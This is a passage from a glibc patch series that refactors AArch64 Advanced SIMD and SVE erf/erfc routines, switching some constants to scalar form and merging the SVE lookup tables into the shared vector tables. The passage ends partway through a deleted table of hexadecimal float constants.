+   .third = V2 (0x1.5555555555556p-2), /* used to compute 2/3 and 1/6 too.  */
+-  .two_over_fifteen = V2 (0x1.1111111111111p-3),
++  .two_over_fifteen = 0x1.1111111111111p-3,
+   .tenth = V2 (-0x1.999999999999ap-4),
+   .two_over_five = V2 (-0x1.999999999999ap-2),
+   .two_over_nine = V2 (-0x1.c71c71c71c71cp-3),
+-  .two_over_fortyfive = V2 (0x1.6c16c16c16c17p-5),
++  .two_over_fortyfive = 0x1.6c16c16c16c17p-5,
+   .max = V2 (5.9921875), /* 6 - 1/128.  */
+   .shift = V2 (0x1p45),
+ #if WANT_SIMD_EXCEPT
+@@ -87,8 +89,8 @@ float64x2_t VPCS_ATTR V_NAME_D1 (erf) (float64x2_t x)
+   float64x2_t a = vabsq_f64 (x);
+   /* Reciprocal conditions that do not catch NaNs so they can be used in BSLs
+      to return expected results.  */
+-  uint64x2_t a_le_max = vcleq_f64 (a, dat->max);
+-  uint64x2_t a_gt_max = vcgtq_f64 (a, dat->max);
++  uint64x2_t a_le_max = vcaleq_f64 (x, dat->max);
++  uint64x2_t a_gt_max = vcagtq_f64 (x, dat->max);
+ 
+ #if WANT_SIMD_EXCEPT
+   /* |x| huge or tiny.  */
+@@ -115,7 +117,7 @@ float64x2_t VPCS_ATTR V_NAME_D1 (erf) (float64x2_t x)
+      segfault.  */
+   uint64x2_t i
+       = vsubq_u64 (vreinterpretq_u64_f64 (z), vreinterpretq_u64_f64 (shift));
+-  i = vbslq_u64 (a_le_max, i, v_u64 (768));
++  i = vbslq_u64 (a_le_max, i, dat->max_idx);
+   struct entry e = lookup (i);
+ 
+   float64x2_t r = vsubq_f64 (z, shift);
+@@ -125,14 +127,19 @@ float64x2_t VPCS_ATTR V_NAME_D1 (erf) (float64x2_t x)
+   float64x2_t d2 = vmulq_f64 (d, d);
+   float64x2_t r2 = vmulq_f64 (r, r);
+ 
++  float64x2_t two_over_fifteen_and_fortyfive
++      = vld1q_f64 (&dat->two_over_fifteen);
++
+   /* poly (d, r) = 1 + p1(r) * d + p2(r) * d^2 + ... + p5(r) * d^5.  */
+   float64x2_t p1 = r;
+   float64x2_t p2
+       = vfmsq_f64 (dat->third, r2, vaddq_f64 (dat->third, dat->third));
+   float64x2_t p3 = vmulq_f64 (r, vfmaq_f64 (v_f64 (-0.5), r2, dat->third));
+-  float64x2_t p4 = vfmaq_f64 (dat->two_over_five, r2, dat->two_over_fifteen);
++  float64x2_t p4 = vfmaq_laneq_f64 (dat->two_over_five, r2,
++				    two_over_fifteen_and_fortyfive, 0);
+   p4 = vfmsq_f64 (dat->tenth, r2, p4);
+-  float64x2_t p5 = vfmaq_f64 (dat->two_over_nine, r2, dat->two_over_fortyfive);
++  float64x2_t p5 = vfmaq_laneq_f64 (dat->two_over_nine, r2,
++				    two_over_fifteen_and_fortyfive, 1);
+   p5 = vmulq_f64 (r, vfmaq_f64 (vmulq_f64 (v_f64 (0.5), dat->third), r2, p5));
+ 
+   float64x2_t p34 = vfmaq_f64 (p3, d, p4);
+diff --git a/sysdeps/aarch64/fpu/erfc_advsimd.c b/sysdeps/aarch64/fpu/erfc_advsimd.c
+index f1b3bfe830..2f2f755c46 100644
+--- a/sysdeps/aarch64/fpu/erfc_advsimd.c
++++ b/sysdeps/aarch64/fpu/erfc_advsimd.c
+@@ -24,8 +24,8 @@ static const struct data
+ {
+   uint64x2_t offset, table_scale;
+   float64x2_t max, shift;
+-  float64x2_t p20, p40, p41, p42;
+-  float64x2_t p51, p52;
++  float64x2_t p20, p40, p41, p51;
++  double p42, p52;
+   double qr5[2], qr6[2], qr7[2], qr8[2], qr9[2];
+ #if WANT_SIMD_EXCEPT
+   float64x2_t uflow_bound;
+@@ -41,9 +41,9 @@ static const struct data
+   .p20 = V2 (0x1.5555555555555p-2),  /* 1/3, used to compute 2/3 and 1/6.  */
+   .p40 = V2 (-0x1.999999999999ap-4), /* 1/10.  */
+   .p41 = V2 (-0x1.999999999999ap-2), /* 2/5.  */
+-  .p42 = V2 (0x1.1111111111111p-3),  /* 2/15.  */
++  .p42 = 0x1.1111111111111p-3,	     /* 2/15.  */
+   .p51 = V2 (-0x1.c71c71c71c71cp-3), /* 2/9.  */
+-  .p52 = V2 (0x1.6c16c16c16c17p-5),  /* 2/45.  */
++  .p52 = 0x1.6c16c16c16c17p-5,	     /* 2/45.  */
+   /* Qi = (i+1) / i, Ri = -2 * i / ((i+1)*(i+2)), for i = 5, ..., 9.  */
+   .qr5 = { 0x1.3333333333333p0, -0x1.e79e79e79e79ep-3 },
+   .qr6 = { 0x1.2aaaaaaaaaaabp0, -0x1.b6db6db6db6dbp-3 },
+@@ -157,9 +157,10 @@ float64x2_t V_NAME_D1 (erfc) (float64x2_t x)
+   float64x2_t p1 = r;
+   float64x2_t p2 = vfmsq_f64 (dat->p20, r2, vaddq_f64 (dat->p20, dat->p20));
+   float64x2_t p3 = vmulq_f64 (r, vfmaq_f64 (v_f64 (-0.5), r2, dat->p20));
+-  float64x2_t p4 = vfmaq_f64 (dat->p41, r2, dat->p42);
++  float64x2_t p42_p52 = vld1q_f64 (&dat->p42);
++  float64x2_t p4 = vfmaq_laneq_f64 (dat->p41, r2, p42_p52, 0);
+   p4 = vfmsq_f64 (dat->p40, r2, p4);
+-  float64x2_t p5 = vfmaq_f64 (dat->p51, r2, dat->p52);
++  float64x2_t p5 = vfmaq_laneq_f64 (dat->p51, r2, p42_p52, 1);
+   p5 = vmulq_f64 (r, vfmaq_f64 (vmulq_f64 (v_f64 (0.5), dat->p20), r2, p5));
+   /* Compute p_i using recurrence relation:
+      p_{i+2} = (p_i + r * Q_{i+1} * p_{i+1}) * R_{i+1}.  */
+
+commit 76c923fe9d09befc8131205659d99cb9ac97460a
+Author: Joe Ramsay <Joe.Ramsay@arm.com>
+Date:   Fri Nov 1 15:48:54 2024 +0000
+
+    AArch64: Remove SVE erf and erfc tables
+    
+    By using a combination of mask-and-add instead of the shift-based
+    index calculation the routines can share the same table as other
+    variants with no performance degradation.
+    
+    The tables change name because of other changes in downstream AOR.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit 2d82d781a539ce8e82178fc1fa2c99ae1884e7fe)
+
+diff --git a/sysdeps/aarch64/fpu/Makefile b/sysdeps/aarch64/fpu/Makefile
+index 234a6c457c..be8541f649 100644
+--- a/sysdeps/aarch64/fpu/Makefile
++++ b/sysdeps/aarch64/fpu/Makefile
+@@ -41,8 +41,6 @@ libmvec-support = $(addsuffix f_advsimd,$(float-advsimd-funcs)) \
+                   v_log10_data \
+                   erf_data \
+                   erff_data \
+-                  sv_erf_data \
+-                  sv_erff_data \
+                   v_exp_tail_data \
+                   erfc_data \
+                   erfcf_data \
+diff --git a/sysdeps/aarch64/fpu/erf_advsimd.c b/sysdeps/aarch64/fpu/erf_advsimd.c
+index c0116735e4..a48092e838 100644
+--- a/sysdeps/aarch64/fpu/erf_advsimd.c
++++ b/sysdeps/aarch64/fpu/erf_advsimd.c
+@@ -58,8 +58,8 @@ static inline struct entry
+ lookup (uint64x2_t i)
+ {
+   struct entry e;
+-  float64x2_t e1 = vld1q_f64 (&__erf_data.tab[vgetq_lane_u64 (i, 0)].erf),
+-	      e2 = vld1q_f64 (&__erf_data.tab[vgetq_lane_u64 (i, 1)].erf);
++  float64x2_t e1 = vld1q_f64 (&__v_erf_data.tab[vgetq_lane_u64 (i, 0)].erf),
++	      e2 = vld1q_f64 (&__v_erf_data.tab[vgetq_lane_u64 (i, 1)].erf);
+   e.erf = vuzp1q_f64 (e1, e2);
+   e.scale = vuzp2q_f64 (e1, e2);
+   return e;
+diff --git a/sysdeps/aarch64/fpu/erf_data.c b/sysdeps/aarch64/fpu/erf_data.c
+index 6d2dcd235c..ea01fad7ca 100644
+--- a/sysdeps/aarch64/fpu/erf_data.c
++++ b/sysdeps/aarch64/fpu/erf_data.c
+@@ -19,14 +19,14 @@
+ 
+ #include "vecmath_config.h"
+ 
+-/* Lookup table used in erf.
++/* Lookup table used in vector erf.
+    For each possible rounded input r (multiples of 1/128), between
+    r = 0.0 and r = 6.0 (769 values):
+-   - the first entry __erff_data.tab.erf contains the values of erf(r),
+-   - the second entry __erff_data.tab.scale contains the values of
++   - the first entry __v_erff_data.tab.erf contains the values of erf(r),
++   - the second entry __v_erff_data.tab.scale contains the values of
+    2/sqrt(pi)*exp(-r^2). Note that indices 0 and 1 are never hit by the
+    algorithm, since lookup is performed only for x >= 1/64-1/512.  */
+-const struct erf_data __erf_data = {
++const struct v_erf_data __v_erf_data = {
+   .tab = { { 0x0.0000000000000p+0, 0x1.20dd750429b6dp+0 },
+ 	   { 0x1.20dbf3deb1340p-7, 0x1.20d8f1975c85dp+0 },
+ 	   { 0x1.20d77083f17a0p-6, 0x1.20cb67bd452c7p+0 },
+diff --git a/sysdeps/aarch64/fpu/erf_sve.c b/sysdeps/aarch64/fpu/erf_sve.c
+index 7d51417406..671d55a02b 100644
+--- a/sysdeps/aarch64/fpu/erf_sve.c
++++ b/sysdeps/aarch64/fpu/erf_sve.c
+@@ -67,14 +67,16 @@ svfloat64_t SV_NAME_D1 (erf) (svfloat64_t x, const svbool_t pg)
+   svfloat64_t a = svabs_x (pg, x);
+   svfloat64_t shift = sv_f64 (dat->shift);
+   svfloat64_t z = svadd_x (pg, a, shift);
+-  svuint64_t i
+-      = svsub_x (pg, svreinterpret_u64 (z), svreinterpret_u64 (shift));
++  svuint64_t i = svand_x (pg, svreinterpret_u64 (z), 0xfff);
++  i = svadd_x (pg, i, i);
+ 
+   /* Lookup without shortcut for small values but with predicate to avoid
+      segfault for large values and NaNs.  */
+   svfloat64_t r = svsub_x (pg, z, shift);
+-  svfloat64_t erfr = svld1_gather_index (a_lt_max, __sv_erf_data.erf, i);
+-  svfloat64_t scale = svld1_gather_index (a_lt_max, __sv_erf_data.scale, i);
++  svfloat64_t erfr
++      = svld1_gather_index (a_lt_max, &__v_erf_data.tab[0].erf, i);
++  svfloat64_t scale
++      = svld1_gather_index (a_lt_max, &__v_erf_data.tab[0].scale, i);
+ 
+   /* erf(x) ~ erf(r) + scale * d * poly (r, d).  */
+   svfloat64_t d = svsub_x (pg, a, r);
+diff --git a/sysdeps/aarch64/fpu/erfc_advsimd.c b/sysdeps/aarch64/fpu/erfc_advsimd.c
+index 2f2f755c46..d05eac61a2 100644
+--- a/sysdeps/aarch64/fpu/erfc_advsimd.c
++++ b/sysdeps/aarch64/fpu/erfc_advsimd.c
+@@ -69,9 +69,9 @@ lookup (uint64x2_t i)
+ {
+   struct entry e;
+   float64x2_t e1
+-      = vld1q_f64 (&__erfc_data.tab[vgetq_lane_u64 (i, 0) - Off].erfc);
++      = vld1q_f64 (&__v_erfc_data.tab[vgetq_lane_u64 (i, 0) - Off].erfc);
+   float64x2_t e2
+-      = vld1q_f64 (&__erfc_data.tab[vgetq_lane_u64 (i, 1) - Off].erfc);
++      = vld1q_f64 (&__v_erfc_data.tab[vgetq_lane_u64 (i, 1) - Off].erfc);
+   e.erfc = vuzp1q_f64 (e1, e2);
+   e.scale = vuzp2q_f64 (e1, e2);
+   return e;
+diff --git a/sysdeps/aarch64/fpu/erfc_data.c b/sysdeps/aarch64/fpu/erfc_data.c
+index 76a94e4681..8dc6a8c42c 100644
+--- a/sysdeps/aarch64/fpu/erfc_data.c
++++ b/sysdeps/aarch64/fpu/erfc_data.c
+@@ -19,14 +19,14 @@
+ 
+ #include "vecmath_config.h"
+ 
+-/* Lookup table used in erfc.
++/* Lookup table used in vector erfc.
+    For each possible rounded input r (multiples of 1/128), between
+    r = 0.0 and r = ~27.0 (3488 values):
+-   - the first entry __erfc_data.tab.erfc contains the values of erfc(r),
+-   - the second entry __erfc_data.tab.scale contains the values of
++   - the first entry __v_erfc_data.tab.erfc contains the values of erfc(r),
++   - the second entry __v_erfc_data.tab.scale contains the values of
+    2/sqrt(pi)*exp(-r^2). Both values may go into subnormal range, therefore
+    they are scaled by a large enough value 2^128 (fits in 8bit).  */
+-const struct erfc_data __erfc_data = {
++const struct v_erfc_data __v_erfc_data = {
+   .tab = { { 0x1p128, 0x1.20dd750429b6dp128 },
+ 	   { 0x1.fb7c9030853b3p127, 0x1.20d8f1975c85dp128 },
+ 	   { 0x1.f6f9447be0743p127, 0x1.20cb67bd452c7p128 },
+diff --git a/sysdeps/aarch64/fpu/erfc_sve.c b/sysdeps/aarch64/fpu/erfc_sve.c
+index c17d3e4484..703926ee41 100644
+--- a/sysdeps/aarch64/fpu/erfc_sve.c
++++ b/sysdeps/aarch64/fpu/erfc_sve.c
+@@ -104,7 +104,7 @@ svfloat64_t SV_NAME_D1 (erfc) (svfloat64_t x, const svbool_t pg)
+ 
+   /* Lookup erfc(r) and 2/sqrt(pi)*exp(-r^2) in tables.  */
+   i = svadd_x (pg, i, i);
+-  const float64_t *p = &__erfc_data.tab[0].erfc - 2 * dat->off_arr;
++  const float64_t *p = &__v_erfc_data.tab[0].erfc - 2 * dat->off_arr;
+   svfloat64_t erfcr = svld1_gather_index (pg, p, i);
+   svfloat64_t scale = svld1_gather_index (pg, p + 1, i);
+ 
+diff --git a/sysdeps/aarch64/fpu/erfcf_advsimd.c b/sysdeps/aarch64/fpu/erfcf_advsimd.c
+index ca5bc3ab33..59b0b0d64b 100644
+--- a/sysdeps/aarch64/fpu/erfcf_advsimd.c
++++ b/sysdeps/aarch64/fpu/erfcf_advsimd.c
+@@ -62,13 +62,13 @@ lookup (uint32x4_t i)
+ {
+   struct entry e;
+   float32x2_t t0
+-      = vld1_f32 (&__erfcf_data.tab[vgetq_lane_u32 (i, 0) - Off].erfc);
++      = vld1_f32 (&__v_erfcf_data.tab[vgetq_lane_u32 (i, 0) - Off].erfc);
+   float32x2_t t1
+-      = vld1_f32 (&__erfcf_data.tab[vgetq_lane_u32 (i, 1) - Off].erfc);
++      = vld1_f32 (&__v_erfcf_data.tab[vgetq_lane_u32 (i, 1) - Off].erfc);
+   float32x2_t t2
+-      = vld1_f32 (&__erfcf_data.tab[vgetq_lane_u32 (i, 2) - Off].erfc);
++      = vld1_f32 (&__v_erfcf_data.tab[vgetq_lane_u32 (i, 2) - Off].erfc);
+   float32x2_t t3
+-      = vld1_f32 (&__erfcf_data.tab[vgetq_lane_u32 (i, 3) - Off].erfc);
++      = vld1_f32 (&__v_erfcf_data.tab[vgetq_lane_u32 (i, 3) - Off].erfc);
+   float32x4_t e1 = vcombine_f32 (t0, t1);
+   float32x4_t e2 = vcombine_f32 (t2, t3);
+   e.erfc = vuzp1q_f32 (e1, e2);
+diff --git a/sysdeps/aarch64/fpu/erfcf_data.c b/sysdeps/aarch64/fpu/erfcf_data.c
+index 77fb889a78..d45087bbb9 100644
+--- a/sysdeps/aarch64/fpu/erfcf_data.c
++++ b/sysdeps/aarch64/fpu/erfcf_data.c
+@@ -19,14 +19,14 @@
+ 
+ #include "vecmath_config.h"
+ 
+-/* Lookup table used in erfcf.
++/* Lookup table used in vector erfcf.
+    For each possible rounded input r (multiples of 1/64), between
+    r = 0.0 and r = 10.0625 (645 values):
+-   - the first entry __erfcf_data.tab.erfc contains the values of erfc(r),
+-   - the second entry __erfcf_data.tab.scale contains the values of
++   - the first entry __v_erfcf_data.tab.erfc contains the values of erfc(r),
++   - the second entry __v_erfcf_data.tab.scale contains the values of
+    2/sqrt(pi)*exp(-r^2). Both values may go into subnormal range, therefore
+    they are scaled by a large enough value 2^47 (fits in 8 bits).  */
+-const struct erfcf_data __erfcf_data = {
++const struct v_erfcf_data __v_erfcf_data = {
+   .tab = { { 0x1p47, 0x1.20dd76p47 },
+ 	   { 0x1.f6f944p46, 0x1.20cb68p47 },
+ 	   { 0x1.edf3aap46, 0x1.209546p47 },
+diff --git a/sysdeps/aarch64/fpu/erfcf_sve.c b/sysdeps/aarch64/fpu/erfcf_sve.c
+index 48d1677eb4..ecacb933ac 100644
+--- a/sysdeps/aarch64/fpu/erfcf_sve.c
++++ b/sysdeps/aarch64/fpu/erfcf_sve.c
+@@ -77,7 +77,7 @@ svfloat32_t SV_NAME_F1 (erfc) (svfloat32_t x, const svbool_t pg)
+ 
+   /* Lookup erfc(r) and 2/sqrt(pi)*exp(-r^2) in tables.  */
+   i = svmul_x (pg, i, 2);
+-  const float32_t *p = &__erfcf_data.tab[0].erfc - 2 * dat->off_arr;
++  const float32_t *p = &__v_erfcf_data.tab[0].erfc - 2 * dat->off_arr;
+   svfloat32_t erfcr = svld1_gather_index (pg, p, i);
+   svfloat32_t scale = svld1_gather_index (pg, p + 1, i);
+ 
+diff --git a/sysdeps/aarch64/fpu/erff_advsimd.c b/sysdeps/aarch64/fpu/erff_advsimd.c
+index f2fe6ff236..db39e789b6 100644
+--- a/sysdeps/aarch64/fpu/erff_advsimd.c
++++ b/sysdeps/aarch64/fpu/erff_advsimd.c
+@@ -47,10 +47,10 @@ static inline struct entry
+ lookup (uint32x4_t i)
+ {
+   struct entry e;
+-  float32x2_t t0 = vld1_f32 (&__erff_data.tab[vgetq_lane_u32 (i, 0)].erf);
+-  float32x2_t t1 = vld1_f32 (&__erff_data.tab[vgetq_lane_u32 (i, 1)].erf);
+-  float32x2_t t2 = vld1_f32 (&__erff_data.tab[vgetq_lane_u32 (i, 2)].erf);
+-  float32x2_t t3 = vld1_f32 (&__erff_data.tab[vgetq_lane_u32 (i, 3)].erf);
++  float32x2_t t0 = vld1_f32 (&__v_erff_data.tab[vgetq_lane_u32 (i, 0)].erf);
++  float32x2_t t1 = vld1_f32 (&__v_erff_data.tab[vgetq_lane_u32 (i, 1)].erf);
++  float32x2_t t2 = vld1_f32 (&__v_erff_data.tab[vgetq_lane_u32 (i, 2)].erf);
++  float32x2_t t3 = vld1_f32 (&__v_erff_data.tab[vgetq_lane_u32 (i, 3)].erf);
+   float32x4_t e1 = vcombine_f32 (t0, t1);
+   float32x4_t e2 = vcombine_f32 (t2, t3);
+   e.erf = vuzp1q_f32 (e1, e2);
+diff --git a/sysdeps/aarch64/fpu/erff_data.c b/sysdeps/aarch64/fpu/erff_data.c
+index 9a32940915..da38aed205 100644
+--- a/sysdeps/aarch64/fpu/erff_data.c
++++ b/sysdeps/aarch64/fpu/erff_data.c
+@@ -19,14 +19,14 @@
+ 
+ #include "vecmath_config.h"
+ 
+-/* Lookup table used in erff.
++/* Lookup table used in vector erff.
+    For each possible rounded input r (multiples of 1/128), between
+    r = 0.0 and r = 4.0 (513 values):
+-   - the first entry __erff_data.tab.erf contains the values of erf(r),
+-   - the second entry __erff_data.tab.scale contains the values of
++   - the first entry __v_erff_data.tab.erf contains the values of erf(r),
++   - the second entry __v_erff_data.tab.scale contains the values of
+    2/sqrt(pi)*exp(-r^2). Note that indices 0 and 1 are never hit by the
+    algorithm, since lookup is performed only for x >= 1/64-1/512.  */
+-const struct erff_data __erff_data = {
++const struct v_erff_data __v_erff_data = {
+   .tab = { { 0x0.000000p+0, 0x1.20dd76p+0 },
+ 	   { 0x1.20dbf4p-7, 0x1.20d8f2p+0 },
+ 	   { 0x1.20d770p-6, 0x1.20cb68p+0 },
+diff --git a/sysdeps/aarch64/fpu/erff_sve.c b/sysdeps/aarch64/fpu/erff_sve.c
+index 38f00db9be..0e382eb09a 100644
+--- a/sysdeps/aarch64/fpu/erff_sve.c
++++ b/sysdeps/aarch64/fpu/erff_sve.c
+@@ -62,18 +62,17 @@ svfloat32_t SV_NAME_F1 (erf) (svfloat32_t x, const svbool_t pg)
+ 
+   svfloat32_t shift = sv_f32 (dat->shift);
+   svfloat32_t z = svadd_x (pg, a, shift);
+-  svuint32_t i
+-      = svsub_x (pg, svreinterpret_u32 (z), svreinterpret_u32 (shift));
+-
+-  /* Saturate lookup index.  */
+-  i = svsel (a_ge_max, sv_u32 (512), i);
++  svuint32_t i = svand_x (pg, svreinterpret_u32 (z), 0xfff);
++  i = svadd_x (pg, i, i);
+ 
+   /* r and erf(r) set to 0 for |x| below min.  */
+   svfloat32_t r = svsub_z (a_gt_min, z, shift);
+-  svfloat32_t erfr = svld1_gather_index (a_gt_min, __sv_erff_data.erf, i);
++  svfloat32_t erfr
++      = svld1_gather_index (a_gt_min, &__v_erff_data.tab[0].erf, i);
+ 
+   /* scale set to 2/sqrt(pi) for |x| below min.  */
+-  svfloat32_t scale = svld1_gather_index (a_gt_min, __sv_erff_data.scale, i);
++  svfloat32_t scale
++      = svld1_gather_index (a_gt_min, &__v_erff_data.tab[0].scale, i);
+   scale = svsel (a_gt_min, scale, sv_f32 (dat->scale));
+ 
+   /* erf(x) ~ erf(r) + scale * d * (1 - r * d + 1/3 * d^2).  */
+diff --git a/sysdeps/aarch64/fpu/sv_erf_data.c b/sysdeps/aarch64/fpu/sv_erf_data.c
+deleted file mode 100644
+index a53878f893..0000000000
+--- a/sysdeps/aarch64/fpu/sv_erf_data.c
++++ /dev/null
+@@ -1,1570 +0,0 @@
+-/* Table for SVE erf approximation
+-
+-   Copyright (C) 2024 Free Software Foundation, Inc.
+-   This file is part of the GNU C Library.
+-
+-   The GNU C Library is free software; you can redistribute it and/or
+-   modify it under the terms of the GNU Lesser General Public
+-   License as published by the Free Software Foundation; either
+-   version 2.1 of the License, or (at your option) any later version.
+-
+-   The GNU C Library is distributed in the hope that it will be useful,
+-   but WITHOUT ANY WARRANTY; without even the implied warranty of
+-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+-   Lesser General Public License for more details.
+-
+-   You should have received a copy of the GNU Lesser General Public
+-   License along with the GNU C Library; if not, see
+-   <https://www.gnu.org/licenses/>.  */
+-
+-#include "vecmath_config.h"
+-
+-/* Lookup table used in vector erf.
+-   For each possible rounded input r (multiples of 1/128), between
+-   r = 0.0 and r = 6.0 (769 values):
+-   - the first entry __erf_data.tab.erf contains the values of erf(r),
+-   - the second entry __erf_data.tab.scale contains the values of
+-   2/sqrt(pi)*exp(-r^2). Note that indices 0 and 1 are never hit by the
+-   algorithm, since lookup is performed only for x >= 1/64-1/512.  */
+-const struct sv_erf_data __sv_erf_data = {
+-  .erf = { 0x0.0000000000000p+0,
+-	   0x1.20dbf3deb1340p-7,
+-	   0x1.20d77083f17a0p-6,
+-	   0x1.b137e0cf584dcp-6,
+-	   0x1.20c5645dd2538p-5,
+-	   0x1.68e5d3bbc9526p-5,
+-	   0x1.b0fafef135745p-5,
+-	   0x1.f902a77bd3821p-5,
+-	   0x1.207d480e90658p-4,
+-	   0x1.44703e87e8593p-4,
+-	   0x1.68591a1e83b5dp-4,
+-	   0x1.8c36beb8a8d23p-4,
+-	   0x1.b0081148a873ap-4,
+-	   0x1.d3cbf7e70a4b3p-4,
+-	   0x1.f78159ec8bb50p-4,
+-	   0x1.0d939005f65e5p-3,
+-	   0x1.1f5e1a35c3b89p-3,
+-	   0x1.311fc15f56d14p-3,
+-	   0x1.42d7fc2f64959p-3,
+-	   0x1.548642321d7c6p-3,
+-	   0x1.662a0bdf7a89fp-3,
+-	   0x1.77c2d2a765f9ep-3,
+-	   0x1.895010fdbdbfdp-3,
+-	   0x1.9ad142662e14dp-3,
+-	   0x1.ac45e37fe2526p-3,
+-	   0x1.bdad72110a648p-3,
+-	   0x1.cf076d1233237p-3,
+-	   0x1.e05354b96ff36p-3,
+-	   0x1.f190aa85540e2p-3,
+-	   0x1.015f78a3dcf3dp-2,
+-	   0x1.09eed6982b948p-2,
+-	   0x1.127631eb8de32p-2,
+-	   0x1.1af54e232d609p-2,
+-	   0x1.236bef825d9a2p-2,
+-	   0x1.2bd9db0f7827fp-2,
+-	   0x1.343ed6989b7d9p-2,
+-	   0x1.3c9aa8b84bedap-2,
+-	   0x1.44ed18d9f6462p-2,
+-	   0x1.4d35ef3e5372ep-2,
+-	   0x1.5574f4ffac98ep-2,
+-	   0x1.5da9f415ff23fp-2,
+-	   0x1.65d4b75b00471p-2,
+-	   0x1.6df50a8dff772p-2,
+-	   0x1.760aba57a76bfp-2,
+-	   0x1.7e15944d9d3e4p-2,
+-	   0x1.861566f5fd3c0p-2,
+-	   0x1.8e0a01cab516bp-2,
+-	   0x1.95f3353cbb146p-2,
+-	   0x1.9dd0d2b721f39p-2,
+-	   0x1.a5a2aca209394p-2,
+-	   0x1.ad68966569a87p-2,
+-	   0x1.b522646bbda68p-2,
+-	   0x1.bccfec24855b8p-2,
+-	   0x1.c4710406a65fcp-2,
+-	   0x1.cc058392a6d2dp-2,
+-	   0x1.d38d4354c3bd0p-2,
+-	   0x1.db081ce6e2a48p-2,
+-	   0x1.e275eaf25e458p-2,
+-	   0x1.e9d68931ae650p-2,
+-	   0x1.f129d471eabb1p-2,
+-	   0x1.f86faa9428f9dp-2,
+-	   0x1.ffa7ea8eb5fd0p-2,
+-	   0x1.03693a371519cp-1,
+-	   0x1.06f794ab2cae7p-1,
+-	   0x1.0a7ef5c18edd2p-1,
+-	   0x1.0dff4f247f6c6p-1,
+-	   0x1.1178930ada115p-1,
+-	   0x1.14eab43841b55p-1,
+-	   0x1.1855a5fd3dd50p-1,
+-	   0x1.1bb95c3746199p-1,
+-	   0x1.1f15cb50bc4dep-1,
+-	   0x1.226ae840d4d70p-1,
+-	   0x1.25b8a88b6dd7fp-1,
+-	   0x1.28ff0240d52cdp-1,
+-	   0x1.2c3debfd7d6c1p-1,
+-	   0x1.2f755ce9a21f4p-1,
+-	   0x1.32a54cb8db67bp-1,
+-	   0x1.35cdb3a9a144dp-1,
+-	   0x1.38ee8a84beb71p-1,
+-	   0x1.3c07ca9cb4f9ep-1,
+-	   0x1.3f196dcd0f135p-1,
+-	   0x1.42236e79a5fa6p-1,
+-	   0x1.4525c78dd5966p-1,
+-	   0x1.4820747ba2dc2p-1,
+-	   0x1.4b13713ad3513p-1,
+-	   0x1.4dfeba47f63ccp-1,
+-	   0x1.50e24ca35fd2cp-1,
+-	   0x1.53be25d016a4fp-1,
+-	   0x1.569243d2b3a9bp-1,
+-	   0x1.595ea53035283p-1,
+-	   0x1.5c2348ecc4dc3p-1,
+-	   0x1.5ee02e8a71a53p-1,
+-	   0x1.61955607dd15dp-1,
+-	   0x1.6442bfdedd397p-1,
+-	   0x1.66e86d0312e82p-1,
+-	   0x1.69865ee075011p-1,
+-	   0x1.6c1c9759d0e5fp-1,
+-	   0x1.6eab18c74091bp-1,
+-	   0x1.7131e5f496a5ap-1,
+-	   0x1.73b1021fc0cb8p-1,
+-	   0x1.762870f720c6fp-1,
+-	   0x1.78983697dc96fp-1,
+-	   0x1.7b00578c26037p-1,
+-	   0x1.7d60d8c979f7bp-1,
+-	   0x1.7fb9bfaed8078p-1,
+-	   0x1.820b1202f27fbp-1,
+-	   0x1.8454d5f25760dp-1,
+-	   0x1.8697120d92a4ap-1,
+-	   0x1.88d1cd474a2e0p-1,
+-	   0x1.8b050ef253c37p-1,
+-	   0x1.8d30debfc572ep-1,
+-	   0x1.8f5544bd00c04p-1,
+-	   0x1.91724951b8fc6p-1,
+-	   0x1.9387f53df5238p-1,
+-	   0x1.959651980da31p-1,
+-	   0x1.979d67caa6631p-1,
+-	   0x1.999d4192a5715p-1,
+-	   0x1.9b95e8fd26abap-1,
+-	   0x1.9d8768656cc42p-1,
+-	   0x1.9f71ca72cffb6p-1,
+-	   0x1.a1551a16aaeafp-1,
+-	   0x1.a331628a45b92p-1,
+-	   0x1.a506af4cc00f4p-1,
+-	   0x1.a6d50c20fa293p-1,
+-	   0x1.a89c850b7d54dp-1,
+-	   0x1.aa5d265064366p-1,
+-	   0x1.ac16fc7143263p-1,
+-	   0x1.adca142b10f98p-1,
+-	   0x1.af767a741088bp-1,
+-	   0x1.b11c3c79bb424p-1,
+-	   0x1.b2bb679ead19cp-1,
+-	   0x1.b4540978921eep-1,
+-	   0x1.b5e62fce16095p-1,
+-	   0x1.b771e894d602ep-1,
+-	   0x1.b8f741ef54f83p-1,
+-	   0x1.ba764a2af2b78p-1,
+-	   0x1.bbef0fbde6221p-1,
+-	   0x1.bd61a1453ab44p-1,
+-	   0x1.bece0d82d1a5cp-1,
+-	   0x1.c034635b66e23p-1,
+-	   0x1.c194b1d49a184p-1,
+-	   0x1.c2ef0812fc1bdp-1,
+-	   0x1.c443755820d64p-1,
+-	   0x1.c5920900b5fd1p-1,
+-	   0x1.c6dad2829ec62p-1,
+-	   0x1.c81de16b14cefp-1,
+-	   0x1.c95b455cce69dp-1,
+-	   0x1.ca930e0e2a825p-1,
+-	   0x1.cbc54b476248dp-1,
+-	   0x1.ccf20ce0c0d27p-1,
+-	   0x1.ce1962c0e0d8bp-1,
+-	   0x1.cf3b5cdaf0c39p-1,
+-	   0x1.d0580b2cfd249p-1,
+-	   0x1.d16f7dbe41ca0p-1,
+-	   0x1.d281c49d818d0p-1,
+-	   0x1.d38eefdf64fddp-1,
+-	   0x1.d4970f9ce00d9p-1,
+-	   0x1.d59a33f19ed42p-1,
+-	   0x1.d6986cfa798e7p-1,
+-	   0x1.d791cad3eff01p-1,
+-	   0x1.d8865d98abe01p-1,
+-	   0x1.d97635600bb89p-1,
+-	   0x1.da61623cb41e0p-1,
+-	   0x1.db47f43b2980dp-1,
+-	   0x1.dc29fb60715afp-1,
+-	   0x1.dd0787a8bb39dp-1,
+-	   0x1.dde0a90611a0dp-1,
+-	   0x1.deb56f5f12d28p-1,
+-	   0x1.df85ea8db188ep-1,
+-	   0x1.e0522a5dfda73p-1,
+-	   0x1.e11a3e8cf4eb8p-1,
+-	   0x1.e1de36c75ba58p-1,
+-	   0x1.e29e22a89d766p-1,
+-	   0x1.e35a11b9b61cep-1,
+-	   0x1.e4121370224ccp-1,
+-	   0x1.e4c6372cd8927p-1,
+-	   0x1.e5768c3b4a3fcp-1,
+-	   0x1.e62321d06c5e0p-1,
+-	   0x1.e6cc0709c8a0dp-1,
